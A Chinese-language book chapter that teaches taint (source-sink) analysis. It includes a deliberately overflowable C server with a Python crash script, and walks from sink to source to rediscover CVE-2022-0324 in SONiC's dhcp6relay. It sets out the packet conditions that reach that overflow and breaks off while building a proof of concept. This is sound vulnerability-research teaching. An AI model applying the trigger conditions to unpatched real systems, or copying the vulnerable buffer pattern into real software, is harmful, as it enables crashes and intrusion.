从零基础到零日漏洞——污点分析

7 阅读21分钟

污点分析(又称源点-汇点分析,source and sink analysis)是对程序中输入数据从“源”到“汇”的流动路径进行追踪分析的方法。其核心思想很简单:大量安全漏洞的产生,都是由于攻击者可控的输入(源)流向了危险函数(汇)。在程序执行过程中,如果输入数据修改了其他变量,那么这些变量就被视为“受污”(tainted),也会被纳入分析范围。若后续代码中又使用了这些受污变量去影响其他变量,那么这些变量也会被“传染”污点,这一过程称为污点传播(taint propagation)。理论上,只要分析所有从源到汇的路径,就能覆盖代码中的所有潜在攻击向量。但在实际应用中,情况往往复杂得多。

本章将带你学习如何在源代码中识别“源”(sources)、“汇”(sinks)、“传播者”(propagators)以及“清洗器”(sanitizers,指用于净化潜在危险输入的代码)。随后,你将通过汇点到源点的逆向分析,在一个开源项目中重新发现已知漏洞。然后,我们会通过选择易受攻击的汇点并过滤可利用场景,来优化分析流程。最后,你将搭建测试环境,构建概念验证型漏洞利用程序,并调试目标程序。

缓冲区溢出示例

我们将通过缓冲区溢出这一经典软件漏洞,来探索源点-汇点分析的主要组成部分。通常,缓冲区溢出是指程序从输入源读取数据,存储到内存缓冲区时,如果缓冲区过小,导致数据溢出并覆盖邻近内存区域。这可能引发各种异常行为,比如篡改函数返回地址,改变程序的正常执行流程。下面先看一个简化的缓冲区溢出示例。

代码清单1-1展示了一个简化的TCP服务器,它监听一个端口,并将接收的消息存入缓冲区。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

#define PORT_NUMBER 1234
#define BACKLOG 1
#define MAX_BUFFER_SIZE 128

// 处理客户端消息的函数
void handleClient(int clientSocket) {
    char buffer[MAX_BUFFER_SIZE];
    char finalBuffer[MAX_BUFFER_SIZE]; ➊
    int offset = 0;
    ssize_t bytesRead;

    // 循环接收数据
    while ((bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)) > 0) {
        memcpy(finalBuffer + offset, buffer, bytesRead); ➋
        offset += bytesRead; ➌
    }

    finalBuffer[offset] = '\0'; // 字符串结束符
    printf("Received data: %s\n", finalBuffer);

    if (bytesRead == 0) {
        printf("客户端断开连接\n");
    } else if (bytesRead == -1) {
        perror("接收数据错误");
    }

    // 关闭客户端连接
    close(clientSocket);
}

// 程序入口
int main(int argc, char **argv)
{
    int clientSocket;
    int serverSocket;
    struct sockaddr_in clientAddr;
    struct sockaddr_in serverAddr;
    socklen_t addrLen = sizeof(clientAddr);

    // 创建套接字
    serverSocket = socket(AF_INET, SOCK_STREAM, 0);

    // 配置服务器地址
    memset(&serverAddr, 0, sizeof(serverAddr));
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(PORT_NUMBER);
    serverAddr.sin_addr.s_addr = INADDR_ANY;

    // 绑定套接字
    bind(serverSocket, (struct sockaddr*)&serverAddr, sizeof(struct sockaddr));

    // 开始监听连接
    listen(serverSocket, BACKLOG);

    // 循环接受连接并处理
    while (1) {
        clientSocket = accept(serverSocket, (struct sockaddr *)&clientAddr, &addrLen);
        if (clientSocket == -1) {
            perror("接受连接失败");
            continue;
        }

        handleClient(clientSocket);
    }

    return 0;
}

代码中,消息处理函数初始化了大小固定为128字节的finalBuffer缓冲区➊,并持续接收数据,每次最多128字节,然后拷贝到finalBuffer对应位置➋,同时更新偏移量➌。虽然代码缺乏错误检查等完善措施,但存在一个严重缺陷:缓冲区溢出!由于offset可能超过128字节,程序可能写出finalBuffer边界,最终导致崩溃。

触发缓冲区溢出

要触发缓冲区溢出,需要向服务器发送一个足够大的数据包。首先,使用 gcc 编译程序并启动服务器:

$ gcc server.c -fno-stack-protector -o server
$ ./server

接下来,我们用以下 Python 脚本构造一个简单的漏洞利用脚本以触发溢出:

import socket

host = socket.gethostname()
port = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
➊ s.connect((host, port))
➋ s.sendall(b'A' * 1024)
s.close()

脚本首先连接到运行中的服务器➊,然后发送一个长度为 1024 字节的缓冲区➋。该数据远远超过了服务器固定缓冲区大小 128 字节,从而触发了溢出。

执行漏洞利用脚本:

$ python exploit.py

执行后,服务器应崩溃并输出类似如下错误:

zsh: segmentation fault ./server

该错误表示程序尝试访问超出其分配内存范围的地址。

由于缓冲区溢出在早期软件中极为常见,许多编译器都内置了防护机制。测试时,可以开启栈保护选项重新编译程序:

$ gcc server.c -fstack-protector -o server
$ ./server

此时,编译器会为存在漏洞的函数添加栈金丝雀(stack canary)保护。栈金丝雀是一种随机值,函数调用时放入栈中,函数返回时检查其是否被修改(如溢出所致),若检测到异常则终止程序。

再次运行漏洞利用脚本,会得到类似如下错误:

stack smashing detected: terminated

有些情况下,通过精确控制覆盖的字节数,攻击者可以修改程序执行流中的关键地址,如栈上的返回地址。函数执行完毕后,程序会跳转到这个地址继续执行指令。如果返回地址被覆盖为攻击者控制的缓冲区地址,则程序将执行恶意代码。

为了进一步分析该漏洞,我们可以关闭栈保护,同时加上调试符号,方便调试器定位漏洞:

$ gcc server.c -fno-stack-protector -g -o server

然后使用 GNU 调试器(GDB)运行程序:

$ gdb server

在 GDB 中输入 run 启动程序,随后运行漏洞利用脚本触发崩溃。崩溃后,可使用 backtrace 命令查看调用栈:

Program received signal SIGSEGV, Segmentation fault.
--snip--
(gdb) backtrace
#0  __memcpy_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:377
#1  0x0000555555555228 in handleClient (clientSocket=4) at server.c:20 ➊
#2  0x4141414141414141 in ?? () ➋
#3  0x4141414141414141 in ?? ()
#...

崩溃发生在服务器代码第20行的 memcpy 函数调用处➊。溢出导致返回地址被覆盖为无效地址 0x4141414141414141➋,程序试图跳转至该地址执行指令,从而引发异常。这是典型的可利用缓冲区溢出场景。

由于本书重点在于漏洞发现阶段,我们不深入内存破坏漏洞的利用开发细节。但请牢记,证明可控的内存破坏(如栈溢出)足以引起开发者的重视和修复。

现在我们已经详细分析了该漏洞,接下来探讨如何通过污点分析发现它。

应用污点分析

让我们从源点与汇点的角度来分析代码清单1-1中这个简单易受攻击的服务器。

首先,识别。源指的是获取并存储攻击者可控输入的函数调用。最可能的源就是这一行代码:

bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)

根据 Linux 下 recv 函数的手册页(可通过 man recv 命令查看),该函数用于从套接字接收消息,完全符合攻击者可控输入的定义。

接下来,识别。汇是指那些如果攻击者控制了其输入,可能引发负面后果(如内存破坏)的危险函数。结合清单1-1代码及前文 GDB 调试输出,我们将代码第20行的 memcpy 函数定位为关键汇点。

确定了源和汇之后,就需要追踪受污变量从源到汇的流动路径。源一旦使某变量受污,代码中后续受其影响的变量也都被视为受污。这种分析会遇到路径爆炸(path explosion)问题——随着程序规模和复杂度的增长,控制流路径数呈指数级增长,导致在复杂目标上全面应用污点分析极为困难甚至不可能,或者耗时过长。

鉴于清单1-1仅约70行代码,你无需过度担忧路径爆炸问题。但即使是这个示例,也存在一些细微复杂点。再次审视识别的源:

bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)

哪些变量会被该源污染?直观地,bytesRead 会被污染,因为它存储了 recv 的返回值,但这个返回值只是接收到的字节数(错误时为 -1),而非数据本身。同时,recv 会将接收到的字节写入其第二个参数指定的缓冲区 buffer 中。也就是说,不能简单地把“所有受污变量都是函数返回值”作为规则,还必须理解哪些函数会修改参数中的值。

对于标准库函数,可以通过自动化处理这类“污点传播者”(taint propagators),但一旦涉及用户自定义函数、宏或第三方库,分析难度显著增加。市面上有若干自动化代码分析工具能支持对这类传播者的识别和记录,但仍需额外投入进行深入分析。

清洗器(sanitizers)和验证器(validators)的存在进一步增加污点分析的复杂度。例如,可以在 memcpy 调用前增加如下检查,确保即将拷贝的数据长度加上当前偏移量不超过缓冲区最大长度:

// 接收数据
while ((bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)) > 0) {
    // 数据超出缓冲区,将中断循环if (offset + bytesRead >= MAX_BUFFER_SIZE) break;

    memcpy(finalBuffer + offset, buffer, bytesRead);
    offset += bytesRead;
}

如果总长度超限,代码会跳出循环,不再处理后续数据➊。但这只是修复漏洞的方式之一。

另一种写法是,在拷贝前判断剩余空间是否充足,只有满足条件时才执行拷贝:

// 接收数据
while ((bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)) > 0) {
    if (offset + bytesRead < MAX_BUFFER_SIZE) {
        memcpy(finalBuffer + offset, buffer, bytesRead);
        offset += bytesRead;
    }
}

由于易受攻击代码的多样性及其缓解方法的多样,难以用单一规则覆盖所有场景,这也是人工代码审查依然不可或缺的原因。自动化代码分析固然能辅助人工审查,但必须结合具体上下文,针对性地调整和定制规则。

至此,我们已介绍污点分析的基础概念——源、汇、传播者和清洗器。接下来,我们将介绍如何通过“汇点到源点”的分析策略,最大化分析效率。

汇点到源点分析

相比于源点到汇点分析强调全面性,汇点到源点分析则更注重筛选。正如你所见,从输入源点开始沿着代码路径进行污点分析,会产生指数级增长的受污变量路径,难以追踪。

汇点到源点分析有点像从鸟瞰图中解开迷宫。迷宫有多个入口,且存在诸多死胡同。无论你选择哪条路径,只需找到通往中心的一条路径;在汇点到源点分析中,这条路径对应着一个可利用的漏洞。虽然可以从每个入口逐个尝试,但从中心开始倒推要容易得多。

你将使用 SONiC(Software for Open Networking in the Cloud)中的 DHCPv6 中继服务器 dhcp6relay 来实践汇点到源点分析。SONiC 是一款运行于多种网络交换机上的开源 Linux 操作系统。目标是重新发现 CVE-2022-0324(我之前在 dhcp6relay 中发现的缓冲区溢出漏洞)。你可以通过以下命令获取漏洞代码(书中源码仓库的 chapter-01/cve2022-0324 目录也包含此版本):

$ git clone https://github.com/sonic-net/sonic-buildimage
$ cd sonic-buildimage
$ git checkout bcf5388

先熟悉一下代码库结构。和许多仓库一样,这里包含源代码、第三方依赖以及构建相关的脚本和配置。

选择合适的汇点

第一步是选择要从汇点倒推的汇函数模式。你可以参考其他开发者维护的“禁止函数”列表,了解常见危险汇点及其利用方式。例如,微软会持续更新其代码分析工具中集成的禁止函数列表(learn.microsoft.com/en-us/windo…)。部分项目(如 git)包含 banned.h 头文件,禁止使用 strcpystrcatstrncpystrncatsprintfvsprintf 等函数。正如该头文件所述,这些函数容易被误用,经常在代码审计中被标记。

除了诸如 memcpy 的标准库函数外,还需仔细分析源代码,识别那些简化分析的封装函数。开发者通常在这类函数名后缀加 _copy_memcpy。例如,sonic-buildimage/platform/nephos/nephos-modules/modules/src/netif_osal.c 中定义了如下函数:

osal_memcpy(
    void                    *ptr_dst,
    const void              *ptr_src,
    const UI32_T            num)
{
    return memcpy(ptr_dst, ptr_src, num);
}

如果封装函数中包含输入清洗或验证逻辑,则无需将其纳入污点分析。例如,C11 标准(正式名称 ISO/IEC 9899:2011)新增了带边界检查的接口,如 memcpy_s,可在拷贝字节前检测潜在缓冲区溢出和其他问题。开发者可能还会自定义安全封装,消除大量汇点。

有时封装函数包含更复杂逻辑。暂且离开 SONiC,看看 libheif 库中的 strided_copy 函数(github.com/strukturag/…):

static void strided_copy(void* dest, const void* src, int width, int height,
                         int stride)
{
    if (width == stride) {
     ➊ memcpy(dest, src, width * height);
    }
    else {
        const uint8_t* _src = static_cast<const uint8_t*>(src);
        uint8_t* _dest = static_cast<uint8_t*>(dest);
        for (int y = 0; y < height; y++, _dest += width, _src += stride) {
         ➋ memcpy(_dest, _src, width);
        }
    }
}

根据条件 width == stride,该封装函数要么调用一次 memcpy ➊,要么循环调用多次 ➋。由此可见,分析封装函数时需关注不同条件对后续变量的影响。

另一个决定是否纳入分析的因素是封装函数的使用频次。如果函数包含过多仅适用于罕见情况的定制逻辑,价值有限。例如,在 SONiC 代码库中,src/radius/nss/libnss-radius/nss_radius_common.c 中的 radius_copy_pw 似乎是封装函数,但它只在 src/radius/nss/libnss-radius/nss_radius.c 中被调用一次。因此,在 SONiC 中,专注该函数无实质收益。

一般规则是:当封装函数被大量重复使用时,才将其视为汇点。

筛选可利用场景

选定汇点后,从汇点开始倒推追踪污点变量流。正如之前看到的,recv 源函数会污染多个变量。汇函数也可能存在多种利用方式,例如普通的 memcpy(dest, src, n) 可能导致:

  • 空指针解引用:当 destsrc 是空指针时,访问非法地址,导致程序崩溃。
  • 缓冲区溢出:当 n 大于 dest 缓冲区大小时,写越界。
  • 信息泄露:当 n 大于 src 缓冲区大小时,读取非预期数据。
  • 内存破坏:当 destsrc 内存区域重叠时,发生未定义行为。

此外,污点参数可能不是简单指针,而是指向内存地址的偏移量。比如 platform/centec-arm64/tsingma-bsp/src/ctcmac/ctcmac.chead_to_txbuff_alloc 函数调用了:

memcpy(tx_buff->vaddr + offset, skb->data, skb_headlen(skb));

从第一个参数 tx_buff->vaddr + offset 开始,倒推至 tx_buff->vaddr 首次赋值为 kmalloc(alloc_size, GFP_KERNEL)。这里特别关键,因为 kmalloc 分配的是内核内存,破坏可能极其严重。

缓冲区大小 alloc_size 由宏 ALIGN(skb->len, BUF_ALIGNMENT) 定义。分析 offset 的赋值过程可知,目的地址范围为 tx_buff->vaddrtx_buff->vaddr + (BUF_ALIGNMENT - 1),且缓冲区大小至少为 BUF_ALIGNMENT 字节,因此 tx_buff->vaddr + offset 不可能越界。故在污点分析中,可忽略 memcpy 的第一个参数风险,重点关注第三个参数(拷贝字节数),它决定是否可能导致溢出。

这一流程体现了汇点到源点分析的优势:先判断汇点是否可被利用,有助于筛除无关路径,避免无谓追踪。更进一步,若某模式在多个函数中重复出现(如 memcpy(tx_buff->vaddr + offset, ...)frag_to_txbuff_allocskb_to_txbuff_alloc 中均有),则可快速跳过相似代码,无需重复分析。切记:汇点到源点追踪侧重筛选,源点到汇点追踪侧重全面。

精简汇点筛选

并非所有汇点都需深度剖析。比如 platform/barefoot/bfn-modules/modules/bf_tun.c 中的两条 memcpy

memcpy(cmd, &tun->link_ksettings, sizeof(*cmd));
memcpy(filter->addr[n], addr[n].u, ETH_ALEN);

第一条用 sizeof 保证拷贝字节数与目标缓冲区匹配;第二条用固定常量 ETH_ALEN,无法被攻击者控制。虽然仍可能存在缓冲区重叠或索引越界等问题,但这两处利用风险较低,可将精力集中于更高风险的模式。

实战技巧:使用正则表达式过滤

通过定位所有 memcpy 调用,并过滤出非易受攻击的用法,可大幅降低手动分析量。例如,在代码目录执行:

$ cd sonic-buildimage/src
$ grep -r "memcpy" --include=*.{c,cpp} . | wc -l
237

查找所有 .c.cpp 文件中的 memcpy,共237处。

接着利用正则表达式筛选第三参数非常量的调用:

$ grep -r "memcpy(.*,.*, [a-z]" --include=*.{c,cpp} . | wc -l
97

该表达式匹配第三参数以小写字母开头(通常为变量名),结果减半以上。

进一步排除第三参数为 sizeof(dest) 的调用:

$ grep -r "memcpy(.*,.*, [a-z]" --include=*.{c,cpp} . | grep -v "memcpy(.*,.*,\s*sizeof(" | wc -l
54

这时仅剩原始数量的四分之一左右。该方法虽不完美,但有效减少了人工审查负担。正如第三章将讲,自动化代码分析工具提供更强大的模式过滤功能。手动审查时,应聚焦快速剔除无风险场景,加快汇点到源点追踪过程。

确认可利用性

在筛选完汇点后,逐一分析剩余汇点,同时留意其他不可利用的模式(例如 memcpy 第三个参数为 strlen 等)。虽然这不会消除所有误报,且可能遗漏部分漏洞(假阴性),但能大幅减少人工分析工作量。剩余实例中,有一处 memcpy 位于 src/dhcp6relay/src/relay.cpp 文件的 relay_relay_reply 函数中:

void relay_relay_reply(int sock, const uint8_t *msg, int32_t len, relay_config *config) {
    static uint8_t buffer[4096]; ➊
    uint8_t type = 0;
    struct sockaddr_in6 target_addr;
    auto current_buffer_position = buffer; ➋
    auto current_position = msg;
    const uint8_t *tmp = NULL;
    auto dhcp_relay_header = parse_dhcpv6_relay(msg);
    current_position += sizeof(struct dhcpv6_relay_msg);

    auto position = current_position + sizeof(struct dhcpv6_option);
    auto dhcpv6msg = parse_dhcpv6_hdr(position);

    while ((current_position - msg) != len) {
        auto option = parse_dhcpv6_opt(current_position, &tmp); ➌
        current_position = tmp;
        switch (ntohs(option->option_code)) {
            case OPTION_RELAY_MSG:
                memcpy(current_buffer_position, ((uint8_t *)option) + ➍
                    sizeof(struct dhcpv6_option), ntohs(option->option_length)); ➎
                current_buffer_position += ntohs(option->option_length);
                type = dhcpv6msg->msg_type;
                break;
            default:
                break;
        }
    }

    memcpy(&target_addr.sin6_addr, &dhcp_relay_header->peer_address, ➏
        sizeof(struct in6_addr));
    target_addr.sin6_family = AF_INET6;
    target_addr.sin6_flowinfo = 0;
    target_addr.sin6_port = htons(CLIENT_PORT);
    target_addr.sin6_scope_id = if_nametoindex(config->interface.c_str());

    send_udp(sock, buffer, target_addr, current_buffer_position - buffer, config, type);
}

如函数名所示,relay_relay_reply 用于转发和解包中继回复消息。这是一个好迹象:它处理可能来自外部客户端的 DHCPv6 消息,因此输入可能受攻击者控制。

函数中有两个 memcpy 调用。根据上一节讨论,第二个调用 ➏ 可排除,因为其第三参数是 sizeof(),即拷贝字节数与目标缓冲区大小相符。这里确实如此,&target_addr.sin6_addrin6_addr 结构体实例,第三参数为 sizeof(struct in6_addr)

重点转向另一个 memcpy 调用 ➍。发生缓冲区溢出必须满足拷贝字节数超过目标缓冲区大小,因此需先确认 current_buffer_position 指向的缓冲区大小。理想情况下,该缓冲区大小固定且未动态调整——这是典型的输入校验模式。前文已知:

auto current_buffer_position = buffer; ➋
static uint8_t buffer[4096]; ➊

说明目标缓冲区固定为 4096 字节。

接着分析拷贝字节数,即 memcpy 第三个参数 ntohs(option->option_length) ➎。ntohs 函数为无符号短整型字节序转换函数,可通过 Linux 下 man ntohs 查询。此转换本身不构成输入校验。继续追溯 option->option_lengthoptionparse_dhcpv6_opt 函数赋值 ➌,其定义如下:

const struct dhcpv6_option *parse_dhcpv6_opt(const uint8_t *buffer, const uint8_t **out_end) {
    uint32_t size = 4; // option-code + option-len
    size += ntohs(*(uint16_t *)(buffer + 2));
    (*out_end) = buffer + size;

    return (const struct dhcpv6_option *)buffer; ➊
}

该函数将 buffer 中字节解析为 dhcpv6_option 结构体 ➊,其定义见 src/dhcp6relay/src/relay.h

struct dhcpv6_option {
    uint16_t option_code;
    ➊ uint16_t option_length;
};

option_length 为无符号 16 位整数(2 字节),最大值为 0xFFFF(65535),远大于目标缓冲区大小 4096。即使经过 ntohs 字节序转换,其最大值依然不变。此为可利用模式。

确认攻击者可控源

确认存在可利用汇点模式后,需逆向追踪代码,确定该汇点是否可由攻击者控制的源到达。

此时,你已确认污点流中三个关键点:

  • relay_relay_reply 函数首个 memcpy 存在汇点。
  • option->option_length 大于 4096 时该汇点可利用。
  • option->option_length 最大可达 65535。

接下来需判断 option->option_length 是否受攻击者控制。简单来说,即从该汇点逆向追踪污点源,确保路径中无致命清洗或验证步骤。就像解迷宫一样,重点关注可达可利用汇点的路径。

首先,检查包含易受攻击 memcpy 的 switch 语句:

switch (ntohs(option->option_code)) {
    case OPTION_RELAY_MSG:
        memcpy(current_buffer_position, ((uint8_t *)option) +
            sizeof(struct dhcpv6_option), ntohs(option->option_length));
        current_buffer_position += ntohs(option->option_length);
        type = dhcpv6msg->msg_type;
        break;
    default:
        break;
}

程序仅当 ntohs(option->option_code) == OPTION_RELAY_MSG 时可进入此分支。根据 src/dhcp6relay/src/relay.hOPTION_RELAY_MSG 值为 9。先记录此限制条件。

回忆 option 是在循环体中由指针 current_position 指向的字节,通过 parse_dhcpv6_opt 解析得到的。循环条件为 (current_position - msg) != len。函数注释说明,msg 是 DHCPv6 消息头部指针,len 是消息长度。current_position 初始化为 msg,并向前跳过了 dhcpv6_relay_msg 结构体大小:

current_position += sizeof(struct dhcpv6_relay_msg);

综合判断,parse_dhcpv6_opt 解析的内容位于 msg 缓冲区中:

| msg 起始 | dhcpv6_relay_msg | dhcpv6_option | ... |

只要 current_position 未越过消息尾(即未到 msg + len),程序就能执行到上述汇点。

虽然无需深入了解 DHCPv6 协议或后续数据结构,出于好奇,看看:

auto position = current_position + sizeof(struct dhcpv6_option);
➊ auto dhcpv6msg = parse_dhcpv6_hdr(position);

parse_dhcpv6_hdr 解析剩余字节为 dhcpv6_msg 结构体 ➊。这说明 dhcpv6_option 紧随 dhcpv6_relay_msg 后面,而 dhcpv6_msg 紧跟其后:

| msg 起始 | dhcpv6_relay_msg | dhcpv6_option | dhcpv6_msg | ... |

汇点到源点的重点是效率,因此不必过度分析 dhcpv6_msg,无碍漏洞判断。

确认攻击者必须控制 msg 参数(传给 relay_relay_reply 的第二个参数),才能到达可利用汇点。接下来寻找 relay_relay_reply 的调用点,确定 msg 的来源。唯一调用出现在 server_callback 函数:

void server_callback(evutil_socket_t fd, short event, void *arg) {
    struct relay_config *config = (struct relay_config *)arg;
    sockaddr_in6 from;
    socklen_t len = sizeof(from);
    int32_t data = 0;
    static uint8_t message_buffer[4096];

    if ((data = recv_from(config->local_sock, message_buffer, 4096, 0, (sockaddr *)&from, ➋
         &len)) == -1) {
        syslog(LOG_WARNING, "recv: Failed to receive data from server\n");
    }

    auto msg = parse_dhcpv6_hdr(message_buffer); ➌
    counters[msg->msg_type]++;
    std::string counterVlan = counter_table;
    update_counter(config->db, counterVlan.append(config->interface), msg->msg_type);
    if (msg->msg_type == DHCPv6_MESSAGE_TYPE_RELAY_REPL) { ➍
        relay_relay_reply(config->server_sock, message_buffer, data, config);
    }
}

函数注释表明,每当服务器收到数据时,该回调函数都会被调用 ➊。这意味着攻击者可通过网络向服务器发送数据。代码中 msg 是通过 parse_dhcpv6_hdr 解析 message_buffer 得到的 ➌,而 message_bufferrecv_from 从套接字读取数据填充 ➋。最后,只有当 msg->msg_type == DHCPv6_MESSAGE_TYPE_RELAY_REPL 时,才调用存在漏洞的 relay_relay_reply ➍。

综上,message_buffer 中的数据(即攻击者可控输入)直接影响 relay_relay_reply 的执行及参数,确认了污点从攻击者输入传递至漏洞汇点。

确认可达的攻击面

虽然你已经确认漏洞汇点能被源点触及,还需要确认该源点本身是否对攻击者可达。例如,远程攻击者是否能访问 recv_from 打开的套接字?

config->local_sock 逆向追踪至 prepare_socket 函数:

void prepare_socket(int *local_sock, int *server_sock, relay_config *config, int index) {
    --snip--
    if ((*local_sock = socket(AF_INET6, SOCK_DGRAM, 0)) == -1) { ➊
        syslog(LOG_ERR, "socket: Failed to create socket\n");
    }
    --snip--
    in6->sin6_family = AF_INET6;
    in6->sin6_port = htons(RELAY_PORT); ➋
    addr = *in6;
    --snip--
    if (bind(*local_sock, (sockaddr *)&addr, sizeof(addr)) == -1) { ➌
        syslog(LOG_ERR, "bind: Failed to bind to socket\n");
    }
    --snip--
}

在此简化代码中,IPv6 套接字 local_sock 被打开➊,端口号赋值为 RELAY_PORT(根据 src/dhcp6relay/src/relay.hRELAY_PORT 为 547)➋,套接字绑定至该地址➌。综合以上,可判定此漏洞路径存在于任意绑定于端口547的 IPv6 非链路本地地址的网络接口,符合可达攻击面条件。

漏洞利用测试

你已找到从攻击者控制源到漏洞汇点的有效路径,并注意到以下条件:

  • 负载解析为 dhcpv6_msg 结构体时,其 msg_type 成员必须为 DHCPv6_MESSAGE_TYPE_RELAY_REPL,该值在 src/dhcp6relay/src/relay.h 中定义为 13。
  • 负载必须包含至少一个 dhcpv6_option 结构体,紧随 dhcpv6_relay_msg 结构体之后。
  • 解析为 dhcpv6_option 结构体时,option_code 成员必须为 OPTION_RELAY_MSG(值为9)。

幸运的是,代码路径中似乎无显著清洗或验证步骤。然而,单凭代码审查不足以确认漏洞,你还需编写可控崩溃的漏洞利用概念验证(PoC)。要构建 PoC,首先需搭建测试环境。

开发环境搭建的便利性至关重要。若无可运行的目标构建环境,无法验证漏洞。调试初步 PoC 也需有效工具,以评估内存破坏原语的实用性。

幸运的是,SONiC 提供了完善的构建流程,能生成包含调试符号和调试器的容器镜像。但构建整套操作系统镜像耗时且资源密集,理想状态是在 PoC 阶段仅构建并测试目标二进制文件。确保在预期执行环境下开发利用代码,快速迭代同时确认针对目标二进制本身的攻击,而非操作系统或其他组件。

SONiC 项目在 Azure 维护了包括 dhcp6relay 的构建流水线(dev.azure.com/mssonic/bui…),但遗憾的是历史构建未包含漏洞版本。另外,SONiC 二进制文件如 dhcp6relay 与操作系统深度集成,依赖共享 Redis 数据库配置,无法直接在任意系统运行。

因此,你必须采取折中方案:将 dhcp6relay 二进制从 SONiC 中分离,同时定制基础操作系统满足预期配置。基础操作系统建议使用 SONiC 文档推荐的 Ubuntu 20.04。

我倾向于使用容器镜像封装 PoC,确保环境一致且便于他人验证。本书示例采用开源容器管理工具 Podman 构建和运行容器。安装并确认:

$ sudo apt install -y podman-docker
$ sudo touch /etc/containers/nodocker
$ docker -v
podman version 5.0.3

若构建依赖文档不详,可通过反复试错排查。例如,src/dhcp6relay 下的 Makefile 使用 g++ 编译,执行 make 时报错:

src/relay.cpp:3:10: fatal error: event.h: No such file or directory

表示缺少 event.h,需安装依赖库 libevent:

apt install libevent-dev

同理,许多 Linux 库遵循 libX-dev 命名规则。大部分依赖如此解决,唯有一项例外:

src/relay.cpp:10:10: fatal error: configdb.h: No such file or directory

configdb.h 属于 sonic-swss-common 库,Makefile 中通过 -I 参数包含其路径。此库无法通过 Ubuntu 默认源安装,需自行编译安装,相关文档由仓库提供。

解决依赖后,dhcp6relay 编译通过,但运行时出错:

terminate called after throwing an instance of 'std::system_error'
    what():  Unable to connect to redis (unix-socket): Cannot assign requested address
Aborted

表明程序尝试连接 Redis 服务器。查看源码 configInterface.cpp 可知,程序访问 CONFIG_DB 数据库中的 DHCP_RELAY 表的 dhcpv6_servers 字段。

根据 SONiC 开发者文档(web.archive.org/web/2024022… support.edge-core.com/hc/en-us/ar…),需要在 Redis 数据库添加该配置。

配置完成后,dhcp6relay 能正常运行,但因无非链路本地 IPv6 地址绑定,无法绑定接口(满足 prepare_socket 要求)。需手动添加此类地址并配置至 Redis。可借助 VLAN 接口附加现有接口,并添加固定 IPv6 地址,示例如下:

/etc/init.d/redis-server restart
ip link add link eth0 name vlan type vlan id 3
ip -6 addr add fe80::20c:29ff:fe90:14c5/64 dev vlan
ip -6 addr add 2a00:7b80:451:1::10/64 dev vlan
ip link set vlan up
redis-cli -n 4 HSET "DHCP_RELAY|vlan" dhcpv6_servers "fe80::20c:29ff:fe90:14c5/64"

链路本地 IPv6 地址范围为 fe80::/10,范围内任意有效地址皆可。非链路本地地址则相反。

容器构建执行这些命令时,可能遇到错误:

RTNETLINK answers: Operation not permitted

查询得知,Podman 容器默认出于安全考虑不允许部分网络操作,需以特权容器运行,并加上命令行参数 --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0。目前,将上述命令从 Dockerfile 中移除,放入脚本 add_ipv6_addresses.sh,容器启动后再执行该脚本。

完善构建与调试环境

解决依赖和配置后,可通过向 dhcp6relay 编译命令添加 -g 参数,启用调试符号,便于调试。原 Makefile 未包含此参数,使用 sed 工具修改:

sed -i '8s/$/ -g/' Makefile

构建最终的 Dockerfile 如下:

FROM ubuntu:20.04

# 安装依赖
ENV DEBIAN_FRONTEND=noninteractive
RUN apt update
RUN apt install -y autoconf-archive build-essential dh-exec gdb git iproute2 libboost-dev \
    libboost-thread-dev libevent-dev libgmock-dev libgtest-dev libhiredis-dev libnl-3-dev \
    libnl-genl-3-dev libnl-nf-3-dev libnl-route-3-dev libpython2.7-dev libpython3-dev \
    libtool pkg-config python3 redis-server swig3.0

# 克隆仓库
RUN git clone https://github.com/sonic-net/sonic-buildimage
WORKDIR sonic-buildimage
RUN git checkout bcf5388

# 编译并安装 sonic-swss-common
RUN git submodule update --init src/sonic-swss-common
WORKDIR src/sonic-swss-common
RUN ./autogen.sh
RUN ./configure
RUN make
RUN make install
RUN ldconfig

# 编译 dhcp6relay
WORKDIR ../dhcp6relay
RUN sed -i '8s/$/ -g/' Makefile
RUN sed -i '24s/.*/\t$(CC) $(CFLAGS) -o $(DHCP6RELAY_TARGET) $(OBJS) $(LIBS) $(LDFLAGS)/' Makefile
RUN make

# 配置 Redis
RUN sed -i '109s/# //' /etc/redis/redis.conf
RUN sed -i '109s//var/run/redis/redis-server.sock//var/run/redis/redis.sock/' /etc/redis/redis.conf
RUN sed -i '110s/# //' /etc/redis/redis.conf
RUN sed -i '110s/700/755/' /etc/redis/redis.conf

# 复制添加 IPv6 地址脚本
COPY add_ipv6_addresses.sh add_ipv6_addresses.sh
RUN chmod +x add_ipv6_addresses.sh

将该 Dockerfile 和 add_ipv6_addresses.sh 脚本放于同一目录,执行:

$ docker build -t dhcp6relay .
$ docker run -it --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0 dhcp6relay

启动容器后,执行添加 IPv6 地址脚本,并启动 dhcp6relay

root@container:/sonic-buildimage/src/dhcp6relay# ./add_ipv6_addresses.sh
Stopping redis-server: redis-server.
Starting redis-server: redis-server.
(integer) 1
root@container:/sonic-buildimage/src/dhcp6relay# ./dhcp6relay

完成!搭建测试环境虽费时费力,但对漏洞研究是最重要的投资之一。拥有一致且可移植的测试环境,将加快 PoC 阶段的迭代与调试效率。

构建概念验证(PoC)

现在,你可以在容器中构建并测试你的概念验证漏洞利用程序。

回顾一下,parse_dhcpv6_relayparse_dhcpv6_opt 期望的数据包结构如下:

 msg          current_position                   len
 --------------------------------------------------
|  dhcpv6_relay_msg | dhcpv6_option |      ...     |
 --------------------------------------------------

你需要发送符合 dhcpv6_relay_msgdhcpv6_option 结构体格式的字节流,具体定义见 src/dhcp6relay/src/relay.h

struct PACKED dhcpv6_relay_msg {
    uint8_t msg_type;
    uint8_t hop_count;
    struct in6_addr link_address;
    struct in6_addr peer_address;
};

struct dhcpv6_option {
    uint16_t option_code;
    uint16_t option_length;
};

